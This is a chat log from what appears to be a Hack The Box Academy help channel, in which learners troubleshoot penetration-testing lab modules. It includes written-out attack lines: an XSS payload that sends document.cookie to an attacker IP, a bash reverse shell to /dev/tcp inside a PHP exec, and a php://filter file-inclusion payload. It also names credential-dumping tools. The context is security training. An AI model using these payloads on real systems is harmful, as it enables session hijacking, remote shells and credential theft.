but for this one you don't need to do the full port scan

just focuse on the stuff on port 80

[acoustic owl]

I think you are on the wrong server

[dark leaf]

👀

[normal sand]

Oh, so I was doing the right thing. I didn't find a vector tho...

[dark leaf]

Yup 😂😭

[next bronze]

it's not a vulnerability, click around the page and see what you can find

[dark leaf]

But if you can help me pls

[normal sand]

I was trying Blind XSS against the Form, but other than that, nothing really caught my attention.

[acoustic owl]

Please read the #rules

[dark leaf]

Ok sorry

[safe star]

this is the linux privesc skill assessment?

[normal sand]

Yeah, tryna find the way to get a shell.

[dark leaf]

It's a lot and I don't understand anything in English if you can summarize pls

[next bronze]

yeah it's not a vuln, click around the links

[dim wolf]

you can use a translator

[normal sand]

Ohh, that's what you meant by not a vuln, I'll just explore then.

[dark leaf]

I feel that this is not my place, as I am very new to the field and I want to learn , sorry

[viral lotus]

just seeking clarification, I have completed the information gathering skills assessment, but my box timed out before I could type up my notes for question: After crawling the inlanefreight.htb domain on the target system, what is the email address you have found? Respond with the full email, e.g., [e-mail] - we use the reconspider tool given to us in the documentation to get the email, I remember doing it but can't remember my steps. thanks

[shut quest]

No one here will give you direct answers, best to go over the steps again, seems like you have most of the notes to quickly do it.

[safe star]

are you sure its port 80?

[viral lotus]

wasn't looking for the direct answer, I Have it, I am just trying to remember my POC steps to replicate it but its cool I will hunt. Unfortunately it isn't in my history either

[shut quest]

Look at it as a frustrating life lesson? Setup logging for your terminal, or configure tmux, that way it wont happen again.

[normal sand]

I went through the pages, clicked around, checked the page sources' href links as well for all the pags I could find. Still came up with nothing. Are you sure it's just through browsing that I'll find the way to get a shell? No vulns? 🤔

[safe star]

check other ports

[normal sand]

I guess I'll wait for that full port scan to finish. And I'll checkout the other port again.

[safe star]

you should be able to find it instantly

plus u can use netstat

[normal sand]

Huh?

How can I use netstat when I'm not on the target machine?

[safe star]

linux privilege escalation?

[shut quest]

he's trying to do it withouth the creds

[normal sand]

I've already solved the questions. At the top of the page, they mentioned in a note that there's a way to get a foothold on the machine, without the SSH creds they gave.

[safe star]

ahh ok

[next bronze]

yes

[next bronze]

yep you don't need to exploit anything

it's a subdomain on the page

[normal sand]

There's one subdomain I came across but it didn't load.

[next bronze]

make it load then

[normal sand]

Oh, wait... was I supposed to add it to /etc/hosts 💀

[safe star]

i was wondering how to get www-data, never knew about this way

just got it

[normal sand]

Got stuck loading after logging in, poor connection I'm guessing 😭 😂

Finally in.

[viral lotus]

I done the right thing but for some reason it required me to be root and not run sudo, when I ran it that way results.json would return blank. I get why you didn't give the nudge as it has everything in there. thanks for the tough love haha

it worked with sudo this time, must have been me doing something wrong thanks

[strange forge]

Bro iam unable to find it. i made backup of system, security and sam. And both sam and security does not have any info on tpetty. running mimikatz gave hash only.

[normal sand]

Was having some connectivity issues but finally managed to get the shell. I was overcomplicating things way too much. Thanks @next bronze

[rustic sage]

Hello I wanna be a hacker how can I begin I dk anything more then the average user but I’m ready too start learning ik it’s gonna be a long path but I am hungry too get on the right path

I’ve just joined and can’t seem too message anywhere else

[next bronze]

the password is there

you're looking for a cleartext password

[shut quest]

going back through my notes on this, is that you did that one? I did it a different way.

[next bronze]

there are multiple ways?

[shut quest]

unless a cat dumped all over my notes is wrong ¯_(ツ)_/¯

[midnight galleon]

look up Information Security Foundations role path on htb academy

[rustic sage]

Ok I’m on htb academy now do you think it’s a good place too learn too be a hacker because it looks pretty good or do u recommend something else

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[rustic sage]

It seems like it will guide me step by step which is why I like it

[midnight galleon]

Also you don't be a "hacker"
you be a security specialist

[shut quest]

@rustic sage

[rustic sage]

Awesome thank you man

[strange forge]

got the password. now figuring out how to access this user. as evil-winrm etc are not working

[obsidian kettle]

working on interrogating network traffic with capture and display filters. I need help utlizing TCPDump-lab-2.zip. I seem to be unlable to locate through my pawnbox. I have tried locate both the zip file and optional resources. I have tried verations of WGET and the academy.hackthebox.com web address to try and get the zip file, but nothing seems to work. I can down load my file to my home computer but that does not help me when I try to get it from my spawn Instance (or Pawnbox). can someone help me?

[shut quest]

Go through the module, this skill test covers just about all of it, there's a lot to link together

[shut quest]

on the desktop of the pwnbox there are creds, ssh is open on it, you can scp the files over.

[strange forge]

Yeah will be going through it tommo. Done for the day, that damn secret was too much effort. Missed it too many times

[obsidian kettle]

thank you I will try it

[midnight galleon]

what is new on the updated login brute forcing?

[safe star]

the custom wordlists part has a lab now and some extra stuff

[mellow saffron]

Session Hijacking is not working for me: https://academy.hackthebox.com/module/103/section/1008 Im not getting the cookie to my php server

[safe star]

using the script.js?

[shut quest]

It's a full re-write so the whole module.

[mellow saffron]

yea

[safe star]

did you properly close the script tag?

[mellow saffron]

I think yes

[safe star]

need to see what the payload looks like

[mellow saffron]

new Image().src='http://myip/index.php?c='+document.cookie;

ofc I edited the my ip part to my vpn ip

[safe star]

show with the script tags

looks fine there tho

[mellow saffron]

This one ? <script src=http://MYIP/script.js></script>

[safe star]

that looks fine too

[mellow saffron]

Yea it seems a lot of ppl stuck on this module

[safe star]

did you add any filter bypassing

you might have the wrong input field then

[mellow saffron]

I checked and I got connection back with netcat

[safe star]

lemme check

[mellow saffron]

The vuln field is the last one

[safe star]

i got the cookie

[mellow saffron]

lol

[safe star]

try restarting

[mellow saffron]

yea and mayb I change port too

@safe star I found the problem

It was the port you have to change it from 80 to another one. (for me it worked)

[safe star]

i was on 80

[mellow saffron]

Idk why not worked on 80 for me

[safe star]

are u on pwnbox?

[mellow saffron]

I was on pwn not worked and switched to vm and it didn't worked as well

Ty for helping me if there is some kind of karma system let me know.

[rocky estuary]

im doing dcsync section and i'm trying to ssh to the linux machine from ms01 but that doesn't work any idea why ?

[rocky mist]

how do i anonymous login like it shows in the module? it keeps asking for password and not working "smbclient //10.129.220.19/sambashare"
Password for [WORKGROUP/DOMAIN\aesliex]:

[safe star]

what module

[rocky mist]

footprinting , SMB

[safe star]

is that the right share?

or you just censored it

[rocky mist]

yep, when i put it in "What is the name of the accessible share on the target?" question it was right

[safe star]

you should be able to just put an empty password and get in

[rocky mist]

$smbclient //10.129.220.19/sambashare
Password for [WORKGROUP/DOMAIN\aesliex]:
Try "help" to get a list of possible commands.
smb: >

says this

[safe star]

whats the problem

[midnight galleon]

-N

[safe star]

you're in

[midnight galleon]

Is the anonymous login option

[rocky mist]

ohh lol

[safe star]

type help to see what commands you can use

like ls

[rocky mist]

the help text made me think im doing sum wrong

[rocky mist]

tyty

[midnight galleon]

I think it is called null login or something

[safe star]

still stuck

[rocky estuary]

already finished it using windows method i just wanted to do it also in linux method to see how it works

[quasi wave]

I have been stuck on Attacking LSASS section of HTB Academy module for a week or so now and I think I could get through it and understand it but I am having anxiety about other things while reading it due to mental health issues. Does anyone know if someone could walk me through it possibly if this continues because I don't want to spend six weeks on question 2 of Attacking LSASS

I'm having panic attacks and mental health issues about unrelated things to Hack the Box and it makes it harder to reread the text and focus on it and I'm thinking if I had a walkthrough of this one section that I could take notes on that way I can refresh my brain when I go onto the next section and run into the material when it gets reused later

I don't think spending 8 weeks trying to read a section and take notes over and over again is smart

its a focus issue I have had lately

so I want maybe if someone could help me understand the section and help me solve it this one time then maybe I can go to the next section tomorrow

just to give my brain a break while I resolve my anxiety issues

I am more than smart enough to get it that's not the issue

[midnight galleon]

Chill bro it is just a question don't stress yourself like that

[quasi wave]

I'm stressed about other things besides Hack the Box and besides the question tho

and so forcing myself to read and take notes to understand how LSASS works isn't working because it requires effort on top of the anxiety

so I'm having trouble thinking about and understanding the section's text material

and my anxiety is causing it to take forever

I'm thinking once I revisit the information later I will get it just fine

so that's my issue

so long as in the short run I make sure I understand the why and how of this one section

[midnight galleon]

The more you stress yourself the unlikely you will solve it
You need to chill your nerves and calm down

[quasi wave]

ya I know

so I think if someone could walk me through this one section tonight or now maybe then maybe I can go workout and start the next section tomorrow

just to help with restarting my brain if that makes sense to you

can someone DM me possibly about this?

[quiet trout]

a break would prob work better than a dm, even call it a day then come back with fresh eyes?

[quasi wave]

I know but I have been stuck on it for a long time, like a week or so

maybe I could start getting exercise again

[quiet trout]

i would help if i could, but im not on that module -_-

[quasi wave]

ok

well, who on this discord can DM me to help?

I want to make sure I know how LSASS works and that I understand the module

I mean this is the HTB Discord

[midnight galleon]

OK dm
But you gotta take this day off tho

Like let's go through it tomorrow

[quasi wave]

ok sure

I'll talk to you tomorrow

thanks I just DMed you

ttyl guys I'm gonna take another break for a night

[midnight galleon]

Sometimes taking a break is the hardest task

[wide meadow]

Hi, Im new too HTB and also this is my first time posting on Discord. I feel pretty silly posting this, as I cant get through Linux fundamentals. Im pretty sure ive got the answer correct. Which kernel version is installed on the system? im using "uname -r" and the result is 4.15.0-123-generic , the system says incorrect.

[muted pulsar]

Welcome to lots of hitting head on keyboard. Shorten to the very minimal number. It be like that sometimes.. #.##.#

[wide meadow]

First module complete thankyou @muted pulsar

[muted pulsar]

welcome!

[wide meadow]

When i ssh into the required IP, is it common for the connection to hang, im able to type 1 or 2 commands and then it just freezes, so I cose the terminal and log in again. Am i missing something?

[quiet trout]

yes this happens, it comes and goes just pause for a moment and carry on

[wide meadow]

so, dont close the session, just wait to see if it comes back online?

[viral snow]

I'm in AD Enumeration & Attacks Skills Assessment Part 2 Question 9.

How long does it take to capture the hash after Invoking Inveigh? I've been waiting for 90 minutes 😩

I did Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

[mint sand]

Hi all, I have finished the web fuzzing module and have just come to the skills assessment part. However, I can’t find the instructions. The only thing I see in the questions section is : "After completing all steps in the assessment, you will be presented with a page that contains a flag in the format of HTB{…}. What is that flag? " I don’t see any other questions on the screen. (check screenshot) I can see from similar threads that people are talking about finding subdomains and stuff like that but I don’t see any questions regarding that. One note is I am not using the pwnbox just replicating it on my local kali linux.

[silent sleet]

Anyone able to get the Introduction to Windows Evasion Techniques - Static Analysis Module - AES encryption - Rev shell to work? The decryption isn't working properly for me

[rocky estuary]

i'm still having same issue doing section "privileged access" i'm trying to access the linux machine using the ip and the creds provided but its says access denied

htb-student@172.16.5.225's password:
Permission denied, please try again.

this is the creds i'm trying to use " htb-student:HTB_@cademy_stdnt"

[safe star]

I used ctrl+c to get out then it appeared for some odd reason

[safe star]

Are you sure that it copied correctly

[viral snow]

😆

[safe star]

I usually right click the desktop first then paste @rocky estuary

[safe star]

Did that possibly work?

[viral snow]

I think I may have found the problem. I swear I'm gonna look really stupid if this works.

[viral snow]

Bloody hell! I found the problem, and I got it in five seconds! Ugh!!!

[rocky estuary]

bruh i was ctrl+v the whole time zzzzzzzzzzzzzzzzzz

[safe star]

What was it

[rocky estuary]

i forget u can paste with right click i just hate windows at this point

[safe star]

Yup, test the output on a normal cmdline to see what’s happening behind the password prompt

[viral snow]

I forgot to run PS as administrator 😩😩😩🤦🏽‍♂️🤦🏽‍♂️🤦🏽‍♂️

[rocky estuary]

i don't why its work on cmd like when u type a command but when ssh ask for a password ctrl + v dosen't work u gotta use right click for some reason

[simple ruin]

Hey all... Noob here but lovin it... Quick Question...Only on Cracking into HTB Mod...Got the first few flags, but when in POST I have ran out of things to do... I am not using pawnbox, I am using my own kali machine, would that keep me from finding flag???

[wide meadow]

Im having problems wit this: What is the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k? Ive tried : find /etc -type f -name "*.conf" -newermt 2020-03-03 -size +25k -size -28k I received th error: find: paths must precede expression 'size'

[safe star]

which module

[simple ruin]

Web Requests in cracking in to HTB

[safe star]

dont limit the search to /etc

and also remove any permissions denied messages with 2>/dev/null at the end

[safe star]

whats the problem

did you get a cookie first?

[simple ruin]

yes... probably just not understanding what the question is... I know how to navigate just dont know what its asking for...lol

[safe star]

use the search feature and lookup flag

with curl btw

[wide meadow]

so i tried: find -type f -newermt 2020-03-03 -size +25k -size -28k 2>/dev/null
and received no results

[safe star]

you forgot to specify where to start searching from

[wide meadow]

got it, thankyou

[simple ruin]

cool lemme try a little longer...thnx

[simple ruin]

WOW LMAO..... hours of looking through EVERYTHING...Searching EVERY City around London and never thought to search flag..... Thnks lmao

[safe star]

yeah, that question is really easy to read the wrong way

[simple ruin]

Yeah but still right in front of my eyes...lol... Gotta tighten up

[strange forge]

Which ACE entry can be leveraged to perform a targeted Kerberoasting attack? should'nt this be genericwrite?

[cloud urchin]

there are several

[real delta]

can write spn or something like that

[nova wharf]

Hey guys qq I'm working on the sqlmap essentials in the " running sqlmap on a http request " section and I'm trying to put in for the cookie param and I'm not sure if I'm putting it in correctly should it be " sqlmap webpage --data='id=1' --cookie= '' " ?

[strange forge]

It attaches spn to an ad user.

[real delta]

yes

that's how you can target for kerberoasting

[strange forge]

it says answer wrong thou

[real delta]

spin up a windows vm and look

[sick whale]

hahaha I struggled too there because I agree, GenericWrite is enough.
Try all of the ones you see on the page, one of them works

[manic bramble]

I'm getting this error running an exploit on metasploit: Without a database connected that payload UUID tracking will not work! Does anyone know what this means?

[shut quest]

What's the error...

[autumn dew]

what the solve ?

[manic bramble]

it's for Attacking Common Applications Module

[cloud urchin]

your picture shows the error, it says the target is not vulnerable to that exploit.

[autumn dew]

what can i do?

[cloud urchin]

probably find an exploit the target is vulnerable to. if the module is telling you to use eternalblue, there are several different versions

[autumn dew]

oh ok

[autumn dew]

i try another modul like the error

[cloud urchin]

its best to include the module/section you're on, i'm not really sure what you're trying to do so it's hard to provide help

[autumn dew]

i have academy for metasploit and i do everything to get the answer and i have this erorr

[cloud urchin]

both module and section

[autumn dew]

module/39/section/407

[cloud urchin]

well i'm not looking that up

just say the section my guy

[autumn dew]

that the section

[safe star]

it says exploit apache not smb

[shut quest]

Have you tried googling that msf error? First result for me is a rapid7 blog

[shut quest]

It's way easier to say the module name and section name to others as anyone helping would most likely have notes by module name and section, not random arbitrary numbers

[pale crow]

Hey guys I'm new, I know 0 in cyber security any hope?

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[winter spear]

same here

[storm elk]

Follow the link above 🙂 ☝️

[winter spear]

thanks

[old wren]

when a module is updated, on my dashboard, I can see that the progress bar is no longer complete and I can no longer "view" my achievement but can only "continue" - is this expected?

for context, I'm going through the CPTS path

[proper oar]

having some trouble with the exchange module, the password spraying OWA section - do I need to do anything for setup for Ruler? no valid passwords found with || Domainyear! and I tried 2020-2024!, as well as all seasons2024! and username:username. I feel like it should likely be one of these, and it is maybe not contacting the endpoint properly? I tried with both mailsniper and domain\username users list file, and ruler ||

[pale crow]

I should start with this before the modules right??

[sick whale]

Yup

[foggy monolith]

In the AD Enum Skills Assessment Part 1, IIS on the pivot machine is literally denying that a file I personally dropped on the target exists. I managed to get Inveigh into C:\inetpub\wwwroot\uploads and verified that it exists by going to the uploads directory on that machine in a web browser to view the directory listing. However, if I then go on to click on the link to the Inveigh.ps1 file in the directory listing, I am met with a 404 error. Why is this, and is there any way around it for getting Inveigh onto MS01 for further enumeration?

[proper oar]

any hints / ideas? I verified the autodiscover endpoint to be in the expected standard location with ntlmscan

[wide meadow]

Im trying to do this: Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer. I ran "curl -s https://www.inlanefreight.com > website_source.html " next i ran "
grep -oP '(?<=href=")[^"]*' website_source.html | grep -E '^/|^https://www.inlanefreight.com' | sort | uniq > paths.txt" then i was simply going to run "wc -l paths.txt" , but paths.txt is empty, something wrong with my grep command

[safe star]

Why are you trying to do that through a browser?

Don’t you have a system shell already on it?

[shut quest]

Yes that is expected. IIRC, if you have the badge it still counts as completed in terms for path progression for being eligible to take the exam.

[foggy monolith]

I'm using the Meterpreter payload that I have running on it as the SOCKS pivot server (along with python3 -m http.server) to drop it, but I'm using the browser to verify that it's there after the drop. Directory listing at /upload says it's there, but clicking on the directory listing throws a 404.

[safe star]

Maybe it has a cleanup script, you have 100s of other folders to put it in

[old wren]

awesome, that's what I wanted to know. I'll probably "re-complete" it anyway because I'll need a reminder before the exam, but good to know I don't have to. thankyou

[shut quest]

Sometimes it helps to run something first before piping it to another.

[foggy monolith]

I'm trying to transfer the file from WEB01 to MS01. Can't do that easily from a non-webhosted directory.

[safe star]

You don’t have any upload tools like evil-winrm or meterpreter?

[foggy monolith]

Meterpreter on WEB01 running SOCKS, but RDP into MS01 which isn't much help for file transfers. Evil-WinRM is timing out on all attempts to connect through proxychains.

[safe star]

Rdp should work fine using share drive or just copy and pasting the file

You should also learn ligolo, meterpreter pivoting is a pain

[shut quest]

Fun tip for xfreerdp /drive:<path>,<name> that will give you a share on the RDP machine from your host

I reviewed this module earlier because my notes were wrong, was able to complete it way faster now than the silly way I did it over a year ago. Ligolo

[foggy monolith]

In my case it's wlfreerdp because I'm using Wayland on my attack machine, but still works regardless, thanks.

[fleet pawn]

Hi. I have been stuck on the exercises of the Linux fundamentals module in the filter contents section and I can't complete any of the three exercises. Could someone help me?

[foggy monolith]

Update: found the ||t*y|| hash and cracking it now, but rockyou.txt is taking far longer than it should in both JtR on my desktop and Hashcat on my M1 MBP; is there another wordlist it would be in?

[safe star]

its looking for a cleartext password

[foggy monolith]

Right, which you need to crack a hash to obtain, no?

[safe star]

not in this case, but tbf they do mean it like that most times

[foggy monolith]

Well that's interesting then because mimikatz sure as hell didn't display anything at all related to this user, even if I ran token::elevate first prior to running sekurlsa::logonpasswords. Which begs the question: if there's no permission to run lsadump::dcsync (yet) then what other mimikatz commands are there that would display it? Or does one need to use a completely different tool to find it?

Update: found it earlier using something else and didn't even know it.

[safe star]

nxc

[foggy monolith]

Right. Yeah, it was associated with a completely different user in that case though, for whatever reason.

[next stone]

Parameter Logic Bugs module, skill assessment
The flag is in one of the sections within one of the modules. Try to find enough logic bugs to get to it.
I'm stuck here, can somone please give me a hint on this?

[pale crow]

Thanks

[worn matrix]

Can I ask something ?because I am thinking about buying it, is it good module/worth the money ?I am going as Application security engineer .

[storm elk]

What are you stuck on? Dm me if you’d like

[storm elk]

I liked it

[old oasis]

doing the exam soon?

[hearty pelican]

just a question is it beter to get a student member ship or gold is considering getiing monthly

anyone who tried those

[old oasis]

This gives you an idea of the costs and what you get from them. https://help.hackthebox.com/en/articles/5720974-academy-subscriptions

It will come down to what your goals and needs are.

[dawn bloom]

Having a problem with the "Using web proxies" module, on the "intercepting responses" section

When intercepting the POST response to /ping, it doesn't intercept the correct response, instead it intercepts this

[safe star]

did you forward it?

[dawn bloom]

For some reason is intercepting the response to a /favicon.ico, when the request doesn't send to that

[dawn bloom]

Yes, thats the response when i forward the above petition

I tried using pwnbox but it's the same there

[safe star]

try restarting it

[next bronze]

it's normal, when you open a webpage in your brower it will send a request to get the favicon

just turn on intercept before you visit the page

[dawn bloom]

Isn't working

[midnight galleon]

What is the difference between running a process and running it as admin in the context of a standard user?
Does this works as sudo for windows?

[safe star]

im not getting that response, what browser are you running on?

[proper oar]

Are these proxyshell exploits questionably functional in the Exchange module on Vulns ? I can't get it to pull the SID and complete the exploit

[dawn bloom]

Firefox

I will try with the burpsuite browser

[safe star]

yes

[midnight galleon]

firefox loads many random requests
just use burp browser

[dawn bloom]

Same on burp browser

[midnight galleon]

and how are these rights assigned?

[safe star]

security tokens

[next bronze]

works fine

turn on intercept before you click the ping button

[wary plover]

@next bronze

Yup works fine

[midnight galleon]

so not every process can be run as admin?

[wary plover]

A process is started with the user's privileges

[next bronze]

suh

[dawn bloom]

Yes when i send it to repeater and send the request it works fine

BUt im trying to follow the academy

[analog dock]

Can also just do it normally and then look at the request in http history

Instead of intercepting

[dawn bloom]

It says you refresh, click forward and should intercept the response to able to change it, but for some reason for me isn't working, is intercepts a response to /favicon.ico when forwarding the request

So i enable intercepet response, refresh the page, intercept the request and forward

[wary plover]

Yeah your browser always makes a connection to /favicon.ico first before any other traffic

[next bronze]

did you turn on response interception in the settings

[next bronze]

I've already said that

banned

[dawn bloom]

Yes

[dawn bloom]

I tried burp's browser and its the same

[wary plover]

they will never prove my guilt in court

[next bronze]

tick the second and third option

[dawn bloom]

Ok it was that

Still cant see this

[next bronze]

that you need to refresh the page

[dawn bloom]

?

[wary plover]

Reload the site

[dawn bloom]

Yes i reload the site

[next bronze]

yeah then find it in the response

[dawn bloom]

YEye got it, i was reloading under the /ping

Tanks guys, i understand it incorrectly, thought you had to intercept the response of the /ping, but it was actually from the root directory, hehe sorry

[cold star]

Hello Everyone, I am doing the DcSync Module of HackTheBox I want to run secretsdump.py but the file is not present there

[loud socket]

restart the machine

[cold star]

Okay

[next bronze]

hmm what?

[next bronze]

secretsdump.py is not present in windows, run in from your attack box

[cold star]

We have to use our attackbox? I didn't Knew that sorry. Is there any way instead of using attack box I can use my kali machine?

[next bronze]

your kali machine is the attack box

[cold star]

No No, By my kali I mean the machine I have installed In Vmware

[dawn bloom]

You can download the vpn

[cold star]

I have connected the Vpn

Okay Let Me Try

[next bronze]

we're talking about the same thing

[dawn bloom]

The academy vpn

[cold star]

Okay But I have a doubt It may sound stupid Sorry for that- But If I have connected the vpn so That Mean I ma part of the network now? Like other users

[next bronze]

it gives you access to the academy targets

[dawn bloom]

I thought u have to be connected to the academy vpn to acces the target machines, but i can acces them without being connected to the vpn through my kali machine

[loud socket]

oh my bad i didnt see this pic

[cold star]

okay got it\

[cold star]

No Problem

[next bronze]

some of them are public ip, like those with ip and port

[dawn bloom]

Oh didn't know it

[quiet trout]

like actually public? they can be reached without vpn'ing to htb whatsoever?

[next bronze]

yeah public ip

[quiet trout]

no kidding, i didnt realize that

[midnight galleon]

In windows privesc SeDebugPrivilege section
when i run the psgetsystem PoC it says that Unable to find type [MyProcess]

checked the source for psgetsystem and it is actually called MyProcess

and yes, I am running it in an elevated powershell

[wary plover]

try running it with the other invoke method, you can find it at the top of the script

#usage: ipmo psgetsys.ps1 blah blah iirc

[midnight galleon]

hmmm

so the section isn't updated?

[wary plover]

no, that's just another method of invoking it iirc

idk the script has a usage example and i went with that one

[midnight galleon]

i mean i did exactly like in the section and it gave me that error

[wary plover]

well apparently the script got updated a year ago

https://github.com/decoder-it/psgetsystem/commit/bbe480f91664b8eca40770bb0cebbec944acfc0d#diff-b9c47ac6e853267db01aa95efe5823eaeceb726fa85d65c54a6bbd91cce52c22L3

[midnight galleon]

yeah

[visual umbra]

Hello, im new here. Im in the Firewall / Ids /ips Avasion lab and teh q is; Our client wants to know if we can identify which operating system their provided machine is running on. Submit the OS name as the answer. I have tried and with a -sV scan i can see port 80 his hosting a a webserver on Ubuntu, and os may be Linux, but is wrong, soi tried with Ubuntu , and same , it is wrong. Then i was looking in the TTL and it is 128 and shuld be windows, but it is wrong to. Just for trying i was try with Osx but it is wrong to. What im doing wrong? I dont want teh answer, just some finger point ....

[quiet trout]

Do we need to install sysmon for splunk app to complete this section? (by signing up and downloading, etc.)? Previously i've found stuff like this to be installed already and dont want to sign up if i dont have to, but im not seeing the app listed in installed splunk apps...

https://academy.hackthebox.com/module/218/section/2389

[shut vapor]

Moin, AD Enumeration & Attacks > Credentialed Enumeration - from Linux
I'm finding huge inconsistency in my results between NetExec and CrackMapExec WRT user enumeration:

• CME returns more users than NXC and I don't see any pattern as to why
• NXC is something like 30x slower
• NXC returns the "description" field which is helpful

$ time sudo crackmapexec smb 172.16.5.5 -u ***** -p ******* --users | wc -l
2954
real    13.41s
                         
$ time sudo netexec smb 172.16.5.5 -u ***** -p ******* --users | wc -l
389
real    394.12s

What do you guys use; am I missing something about NXC - is it ignoring users for a reason or any insight as to why it's so slow?

[next bronze]

use ldap

[shut vapor]

wow... thank you!

[next bronze]

only use smb to enum user if you cannot reach the DC, ldap is faster and more reliable in every way

[shut vapor]

yea that's going in the notes. 🫡

[next bronze]

the answer is there, make sure there's not spaces before or after

[rustic sage]

OpenSSH 7.6p1-

[visual umbra]

Ah, Now. it was a mistake, i put a space in it.. Thanx

i was going crazy, i was write it over and over again, but always wrong.. One little thing and it was ok:)

[rustic sage]

dw bro i've done this so many times too

ill have to do space, ill have to make it one word bla bla bla

[next bronze]

spoiler

[vapid summit]

how to do last question in skill assessment pivoting module

[next bronze]

pivot to dc and get the flag

[sick whale]

It really helps to draw it out visually (the network map, with machines, their subnets, the ports connecting etc...)

[worthy bloom]

Hi
Any laptop recommendation for cybersec

[sick whale]

Personally using a Thinkpad P14s and it's really good (64GB RAM which lets me spawn a few VMs without issues).
Check Lenovo's last year sale, they always have 50% off machines that are just not the last gen.

But also that's probably not the right place to ask (#modules)

[marsh echo]

anyone have a hint for skill assessement Windows privesc 1 ?? I tried everything for founded the ldapadmin password but nothing, the order use is ```Get-ChildItem -Recurse -Filter *.cfg | Select-String -Pattern "password" -CaseSensitive:$false | Select-Object Path, Line | Out-String -Width 500

i use cfg ini config xml

[coral trench]

Hey , in Blind SQL Injection module the part of time-based , what is the diffrence between the question in section "Data Extraction" and the question in section "Out-of-Band DNS" ?

[chilly echo]

Module Footprinting, orale tns Im having trouble running odat.py, i did sudo apt install odat still not able to use odat.py , i also located where it was saved sudo: /usr/local/lib/python3.11/dist-packages/autorecon/default-plugins/oracle-odat.py: command not found can someone help me

[chilly echo]

I ran the installation script also before this

[next bronze]

if you've installed with apt it should work, what's the error

[chilly echo]

With apt its not working, but jus now noticed if i cd odat then run the tool its working 😂

[next bronze]

cool the install script worked then

[chilly echo]

yea

[cedar void]

" Following the steps in this section, obtain code execution on the host and submit the contents of the flag.txt file in the webroot."

I have been working on this last module section question from this module section (https://academy.hackthebox.com/module/113/section/1208) for a while now and I cannot understand why the shell command I tried executing isn't registering with my nc listener after I updated the ||404.php|| with that command:

shell command I used||:exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.3/9000 0>&1'");||

[chilly echo]

sudo ln -s /home/htb-ac-748992/odat/odat.py /usr/local/bin/odat this will make the command globally accessible

[hexed lintel]

@cedar void no spoilers please
remove the chat

and go to any non existing page to trigger 404.php

[chilly echo]

does odat take very long time to run its still runinn for me

it was not able to find the creds

[trail rock]

" To get the flag, start the above exercise, then use cURL to download the file returned by '/download.php' in the server shown above."

i dont get it?

[loud socket]

read the curl manual

you need to download a file using curl

[trail rock]

what i am doing wrong?

[loud socket]

the space

correct way would be ip:port/download.php im guessing

[next bronze]

pretty sure it also needs http:// at the front

[loud socket]

yeah and also this ^^

[trail rock]

this sucks :P

[trail rock]

which one?

[bright coral]

You need to supply a value for -o (or remove the parameter)

[loud socket]

add http://ip:port/download.php

[loud socket]

remove -o

[sick whale]

As a general rule, don't spam the commands until it works, you won't even know why it got fixed.
Look at the man page, it's usually full of simple examples at the bottom, and you will quickly see what is the basic curl syntax

[loud socket]

^^

https://curl.se/docs/tutorial.html @trail rock i suggest u read the download a file part

[exotic dirge]

Hi

[loud socket]

@trail rock im sorry but i forgot so say you need to specify the file name also

[trail rock]

thank you guys. love you <3

[wary plover]

Hi, read #rules and #welcome to verify yourself to get access to other channels 🙂

[winter arrow]

Hello, I'm stacked on Introduction to Windows Evasion Techniques Static analysis. I've done all like was written in section, I've pass the check, but got no flag. In my own host payload has worked. Logs say, that nothing was deteckted in my file

[loud socket]

could you provide screen shots its a bit vague right now

[carmine delta]

Hi, I'm doing the modules htb file inclusion :

In the php filters section I don't understand why using the php filter “php://filter/read=convert.base64-encode/resource=config”
allows me to obtain the resource whereas a basic attack like “http://:/index.php?language=config”
doesn't work
I understand that the filter encodes the file in base64 and then we can then decode it, but I don't understand why the basic attack wouldn't work.
I understand that the filter only works with “.php” files, but that doesn't explain why the basic attack wouldn't work.

thanks for help

[next bronze]

what doesn't work? just loading the file without b64 encoding?

[carmine delta]

no as you can see on first screen nothing happend

I'm trying to understand why it works with the php filter and why it doesn't work without the php filter.

[next bronze]

yeah so loading the file without b64 encoding doesn't work

[carmine delta]

yes exactly

[next bronze]

because php is run on the server side, when it tries to load config and it's only php code, it's processed by the server and you won't see anything

[carmine delta]

this means that the first command tries to execute the file rather than displaying its contents in “textual” format.

[wary plover]

Yep so we use a filter to bypass that mechanism so you can extract the source code

[carmine delta]

Okay, thank you, I understand. This means that if it had been “executable” php code like a reverse shell, the code would have been executed on the server.

[marsh echo]

Could someone help me with question 2 of Windows privilege escalation partie 1 ? From the form I managed to do the reverse Shell then I tried several things I tried to use the juicypotato tools to reach the nt system rank but nothing, I tried to search everywhere for the password of the ldapadmin with findstr nothing...

[cloud urchin]

did you check your privs?

[marsh echo]

Yes

Imp*

[cloud urchin]

hard to say without giving it away but it sounds like you were on the right track

[marsh echo]

Precisely I saw that I said to myself well it’s perfect I’m going to do a reverse with juicy and well no it doesn’t work

A whole day in the trash 🥲

[light otter]

Hello Discorders,
I have a question about the Firewall and IDS/IPS Evasion - Hard Lab .
I solved it however , my question can't be asked without giving the major clue to finding it. Is there someone i can DM?

[maiden field]

Password Attacks

Pass the Ticket (PtT) from Linux

Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \DC01\julio.

For each ccache file I get the same message saying: klist: No credentials cache found

I've try with every of them associated with the good user but still get this message. Another one get generated and still the same problem

I have been on this for 1 hour I don't get it is it a bug

[next bronze]

did you set the enviroment variable

[maiden field]

Yes

I can send screenshot if you want in dm

[next bronze]

just send here

[next bronze]

first screenshot the path isn't correct

[maiden field]

It’s just multiple examples of what I’ve tried

[next bronze]

yeah but none of those are set with the correct path

is it in /tmp or is it in /root

[maiden field]

For one example the file is in tmp in the other example i took the file from tmp cp it to root and tried from there

[next bronze]

mate check the file paths properly

[maiden field]

?

[next bronze]

what I said. use the right path

[midnight galleon]

You are setting env to root while files are in tmp

[midnight galleon]

It's obvious that no such file exists in the root directory

Why would you copy them anyway

[safe star]

Still on this?

[marsh echo]

Yes 😭

I took a break I’ll do it again in 10 minutes

[safe star]

The juicypotato error needs some googling

[marsh echo]

thx i see that 🙂
